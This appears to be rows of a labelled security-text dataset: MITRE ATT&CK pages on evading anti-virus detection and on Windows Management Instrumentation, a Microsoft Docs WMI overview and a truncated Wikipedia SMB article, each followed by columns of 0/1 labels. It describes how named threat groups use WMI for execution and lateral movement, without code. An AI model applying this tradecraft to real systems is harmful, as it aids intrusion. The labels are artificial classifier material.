Cell ensured each payload had a unique hash, including by using different types of packers. [13] TEMP.Veles TEMP.Veles has modified files based on the open-source project cryptcat in an apparent attempt to decrease AV detection rates. [12] Turla Based on comparison of Gazer versions, Turla made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe. [10] Detection The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. References Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017. PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018. PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018. Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018. Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\xe2\x80\x99s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017. DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016. Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\xe2\x80\x99s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019. ESET. (2017, August). Gazing at Gazer: Turla\xe2\x80\x99s new second stage backdoor. Retrieved September 14, 2017. Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018. FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019. Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Windows Management Instrumentation - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Windows Management Instrumentation Windows Management Instrumentation Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) [1] and Remote Procedure Call Service (RPCS) [2] for remote access. RPCS operates over port 135. [3] An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. [4] ID:\xc2 T1047 Tactic: Execution Platform:\xc2 Windows System Requirements:\xc2 WMI service, winmgmt, running; Host/network firewalls allowing SMB and WMI ports from source to destination; SMB authentication. Permissions Required:\xc2 User, Administrator Data Sources:\xc2 Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters Supports Remote:\xc2 Yes Version:\xc2 1.0 Mitigations Mitigation Description Privileged Account Management Prevent credential overlap across systems of administrator and privileged accounts. [4] User Account Management By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Examples Name Description APT29 APT29 used WMI to steal credentials and execute backdoors at a future time. [54] APT32 APT32 used WMI to deploy their tools on remote machines and to gather information about the Outlook process. [61] Astaroth Astaroth uses WMIC to execute payloads. [35] BlackEnergy A BlackEnergy 2 plug-in uses WMI to gather victim host details. [15] Cobalt Strike Cobalt Strike can use WMI to deliver a payload to a remote host. [5] Deep Panda The Deep Panda group is known to utilize WMI for lateral movement. [49] DustySky The DustySky dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active. [25] Emotet Emotet has used WMI to execute powershell.exe. [45] Empire Empire can use WMI to deliver a payload to a remote host. [10] EvilBunny EvilBunny has used WMI to gather information about the system. [46] FELIXROOT FELIXROOT uses WMI to query the Windows Registry. [14] FIN8 FIN8's malicious spearphishing payloads use WMI to launch malware and spawn cmd.exe execution. FIN8 has also used WMIC during and post compromise cleanup activities. [56] [57] FlawedAmmyy FlawedAmmyy leverages WMI to enumerate anti-virus on the victim. [43] GravityRAT GravityRAT collects various information via WMI requests, including CPU information in the Win32_Processor entry (Processor ID, Name, Manufacturer and the clock speed). [20] HALFBAKED HALFBAKED can use WMI queries to gather system information. [28] HOPLIGHT HOPLIGHT has used WMI to recompile the Managed Object Format (MOF) files in the WMI repository. [40] Impacket Impacket's wmiexec module can be used to execute commands through WMI. [9] jRAT jRAT uses WMIC to identify anti-virus products installed on the victim\xe2\x80\x99s machine and to obtain firewall details. [27] Kazuar Kazuar obtains a list of running processes through WMI querying. [41] Koadic Koadic can use WMI to execute commands. [6] KOMPROGO KOMPROGO is capable of running WMI queries. [13] Lazarus Group Lazarus Group malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement. [59] [60] Leviathan Leviathan has used WMI for execution. [53] menuPass menuPass uses a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI. [47] [48] Micropsia Micropsia searches for anti-virus software and firewall products installed on the victim\xe2\x80\x99s machine using WMI. [37] [38] Mosquito Mosquito's installer uses WMI to search for antivirus display names. [12] MuddyWater MuddyWater has used malware that leveraged WMI for execution and querying host information. [51] [17] [52] NotPetya NotPetya can use wmic to help propagate itself across a network. [33] [34] Octopus Octopus uses wmic.exe for local discovery information. [26] OilRig OilRig has used WMI for execution. [50] Olympic Destroyer Olympic Destroyer uses WMI to help propagate itself across a network. [29] OopsIE OopsIE uses WMI to perform discovery techniques. [24] PoshC2 PoshC2 has a number of modules that use WMI to execute tasks. [11] PowerSploit PowerSploit's Invoke-WmiCommand CodeExecution module uses WMI to execute and retrieve the output from a PowerShell payload. [7] [8] POWERSTATS POWERSTATS can use WMI queries to retrieve data from compromised hosts. [16] [17] POWRUNER POWRUNER may use WMI when collecting information about a victim. [23] RATANKBA RATANKBA uses WMI to perform process monitoring. [21] [22] Remexi Remexi executes received commands with wmic.exe (for WMI commands). [36] RogueRobin RogueRobin uses various WMI queries to check if the sample is running in a sandbox. [18] [19] Soft Cell Soft Cell used WMI for execution to assist in lateral movement as well as for installing tools across multiple assets. [62] Stealth Falcon Stealth Falcon malware gathers system information via Windows Management Instrumentation (WMI). [58] StoneDrill StoneDrill has used the WMI command-line (WMIC) utility to run tasks. [42] Threat Group-3390 A Threat Group-3390 tool can use WMI to execute a binary. [55] Ursnif Ursnif droppers have used WMI classes to execute PowerShell commands. [44] WannaCry WannaCry utilizes wmic to delete shadow copies. [30] [31] [32] Zebrocy One variant of Zebrocy uses WMI queries to gather information. [39] Detection Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of ""wmic"" and detect commands that are used to perform remote behavior. [4] References Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016. Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016. Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017. Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018. PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018. PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018. SecureAuth. (n.d.). Retrieved January 15, 2019. Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. Nettitude. (2016, June 8). PoshC2: Powershell C2 Server and Implants. Retrieved April 23, 2019. ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017. Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018. Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016. Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018. ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018. Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018. Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019. Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018. Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018. Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018. Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018. ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016. Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018. Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018. Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019. Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019. Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019. Chiu, A. (2016, June 27). New Ransomware Variant ""Nyetya"" Compromises Systems Worldwide. Retrieved March 26, 2019. US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019. Doaty, J., Garrett, P.. (2018, September 10). We\xe2\x80\x99re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019. Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019. Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018. Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018. Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\xe2\x80\x99s Global Campaign. Retrieved April 19, 2019. US-CERT. (2019, April 10). MAR-10135536-8 \xe2\x80\x93 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018. Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019. Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019. Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019. Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019. Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019. PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017. Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017. Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014. Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017. Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018. Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019. Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018. Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016. Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \xe2\x80\x93 A potential new malicious tool. Retrieved June 25, 2018. Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018. Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018. Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\xe2\x80\x99t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016. Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018. Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Windows Management Instrumentation - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Windows Management Instrumentation 05/31/2018 2 minutes to read In this article Purpose Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems. You can write WMI scripts or applications to automate administrative tasks on remote computers but WMI also supplies management data to other parts of the operating system and products, for example System Center Operations Manager, formerly Microsoft Operations Manager (MOM), or Windows Remote Management (WinRM). Note The following documentation is targeted for developers and IT administrators. If you are an end-user that has experienced an error message concerning WMI, you should go to Microsoft Support and search for the error code you see on the error message. For more information about troubleshooting problems with WMI scripts and the WMI service, see WMI Isn't Working! \xc2 Note WMI is fully supported by Microsoft; however, the latest version of administrative scripting and control is available through the Windows Management Infrastructure (MI). MI is fully compatible with previous versions of WMI, and provides a host of features and benefits that make designing and developing providers and clients easier than ever. For more information, see Windows Management Infrastructure (MI). \xc2 Where applicable WMI can be used in all Windows-based applications, and is most useful in enterprise applications and administrative scripts. System administrators can find information about using WMI at the TechNet ScriptCenter, and in various books about WMI. For more information, see Further Information. Developer audience WMI is designed for programmers who use C/C++, the Microsoft Visual Basic application, or a scripting language that has an engine on Windows and handles Microsoft ActiveX objects. While some familiarity with COM programming is helpful, C++ developers who are writing applications can find good examples for getting started at Creating a WMI Application Using C++. To develop managed code providers or applications in C# or Visual Basic .NET using the .NET Framework, see WMI in .NET Framework. Many administrators and IT professionals access WMI through PowerShell. The Get-WMI cmdlet for PowerShell enables you to retrieve information for a local or remote WMI repository. As such, a number of topics and classes, especially in the Creating WMI Clients section, contain PowerShell examples. For additional information on using PowerShell, see Windows PowerShell and Scripting with Windows PowerShell. Run-time requirements For more information about which operating system is required to use a specific API element or WMI class, see the Requirements section of each topic in the WMI documentation. If an expected component appears to be missing, see Operating System Availability of WMI Components. You do not need to download or install a specific software development (SDK) in order to create scripts or applications for WMI. However, there are some WMI administrative tools that developers find useful. For more information, see the Downloads section in Further Information. In this section About WMI General information about WMI. Using WMI Information about how to develop applications to use WMI, which includes information about tools. WMI Reference Documentation about the WMI classes, WMI C++ classes, WMI COM API, Scripting API, and other WMI reference material. \xc2 \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Server Message Block - Wikipedia Server Message Block From Wikipedia, the free encyclopedia Jump to navigation Jump to search In computer networking, Server Message Block (SMB), one version of which was also known as Common Internet File System (CIFS /s\xc9\xaafs/),[1][2] is a network communication protocol[3] for providing shared access to files, printers, and serial ports between nodes on a network. It also provides an authenticated inter-process communication mechanism. Most usage of SMB involves computers running Microsoft Windows, where it was known as ""Microsoft Windows Network"" before the introduction of Active Directory. Corresponding Windows services are LAN Manager Server for the server component, and LAN Manager Workstation for the client component.[4] Contents 1 Features 2 History 2.1 SMB / CIFS / SMB1 2.2 SMB 2.0 2.3 SMB 2.1 2.4 SMB 3.0 2.5 SMB 3.0.2 2.6 SMB 3.1.1 3 Implementation 3.1 Client-server approach 3.2 Samba 3.3 NQ 3.4 MoSMB 3.5 Tuxera SMB 3.6 Likewise 3.7 CIFSD 3.8 Performance issues 3.9 Microsoft's modifications 4 Opportunistic locking 5 Security 6 Specifications 7 See also 8 References 9 External links Features[edit] Server Message Block provides file sharing, network browsing, printing services, and interprocess communication over a network. The SMB protocol relies on lower-level protocols for transport. The Microsoft SMB protocol was often used with NetBIOS over TCP/IP (NBT) over UDP, using port numbers 137 and 138, and TCP port numbers 137 and 139. NBT for use by NetBIOS is supported on Windows Server 2003, Windows XP, Windows 2000, Windows NT, and Windows Me/98/95. NetBIOS is not supported on Windows Vista, Windows Server 2008, and subsequent versions of Windows. \xc2 SMB/NBT combination is generally used for backward compatibility. The NetBIOS over NetBEUI protocol provides NetBIOS support for the NetBEUI protocol. This protocol is also called NetBIOS Frames (NBF). NBF is supported on Windows 2000, Windows NT, and Windows Me/98/95. NetBEUI is no longer be supported on Windows XP and later. However, SMB Protocol can also be used without a separate transport protocol directly over TCP, port 445. NetBIOS was also supported over several legacy protocols such as IPX/SPX. The SMB Inter-Process Communication (IPC) system provides named pipes and was one of the first inter-process mechanisms commonly available to programmers that provides a means for services to inherit the authentication carried out when a client[clarification needed] first connects to an SMB server.[citation needed] Some services that operate over named pipes, such as those which use Microsoft's own implementation of DCE/RPC over SMB, known as MSRPC over SMB, also allow MSRPC client programs to perform authentication, which overrides the authorization provided by the SMB server, but only in the context of the MSRPC client program that successfully makes the additional authentication. SMB signing: Windows NT 4.0 Service Pack 3 and upwards have the capability to use cryptography to digitally sign SMB connections. The most common official term is ""SMB signing"". Other terms that have been used officially are ""[SMB] Security Signatures"", ""SMB sequence numbers""[5] and ""SMB Message Signing"".[6] SMB signing may be configured individually for incoming SMB connections (handled by the ""LanManServer"" service) and outgoing SMB connections (handled by the ""LanManWorkstation"" service). The default setting from Windows 98 and upwards is to opportunistically sign outgoing connections whenever the server also supports this, and to fall back to unsigned SMB if both partners allow this. The default setting for Windows domain controllers from Windows Server 2003 and upwards is to not allow fall back for incoming connections.[7] The feature can also be turned on for any server running Windows NT 4.0 Service Pack 3 or later. This protects from man-in-the-middle attacks against the Clients retrieving their policies from domain controllers at login.[8] The design of Server Message Block version 2 (SMB2) aims[citation needed] to mitigate this performance limitation by coalescing SMB signals into single packets. SMB supports opportunistic locking\xe2\x80\x94a special type of locking-mechanism\xe2\x80\x94on files in order to improve performance. SMB serves as the basis for Microsoft's Distributed File System implementation. History[edit] SMB / CIFS / SMB1[edit] Barry Feigenbaum originally designed SMB at IBM in early 1983 with the aim of turning DOS INT 21h local file access into a networked file system.[9] Microsoft has made considerable modifications to the most commonly used version. Microsoft merged the SMB protocol with the LAN Manager product which it had started developing for OS/2 with 3Com around 1990, and continued to add features to the protocol in Windows for Workgroups (c.\xe2\x80\x891992) and in later versions of Windows. SMB was originally designed to run on top of the NetBIOS/NetBEUI API (typically implemented with NBF, NetBIOS over IPX/SPX, or NBT). Since Windows 2000, SMB runs, by default, with a thin layer, similar to the Session Message packet of NBT's Session Service, on top of TCP, using TCP port 445 rather than TCP port 139\xe2\x80\x94a feature known as ""direct host SMB"".[10] Windows Server 2003, and older NAS devices use SMB1/CIFS natively. SMB1/CIFS is an extremely chatty protocol, in that it makes inefficient use of networking resources, particularly when transported over expensive WAN links. While Microsoft estimates that SMB1/CIFS comprises less than 10% of network traffic in the average Enterprise network, that is still a significant amount of traffic. One approach to mitigating the inefficiencies in the protocol is to use WAN Acceleration products such as those provided by Riverbed, Silver Peak, or Cisco Systems. A better approach is simply to eliminate SMB1/CIFS by upgrading the server infrastructure that uses it. This includes both NAS devices as well as Windows Server 2003. The most effective method in use currently to identify SMB1/CIFS traffic is to use a network analyzer tool such as Wireshark, etc., to identify SMB1/CIFS ""talkers"" and then decommission or upgrade them over time. Microsoft also provides an auditing tool in Windows Server 2016, which can be used to track down SMB1/CIFS talkers.[11] In 1996, when Sun Microsystems announced WebNFS,[12] Microsoft launched an initiative to rename SMB to Common Internet File System (CIFS)[9] and added more features, including support for symbolic links, hard links, larger file sizes, and an initial attempt at supporting direct connections over TCP port 445 without requiring NetBIOS 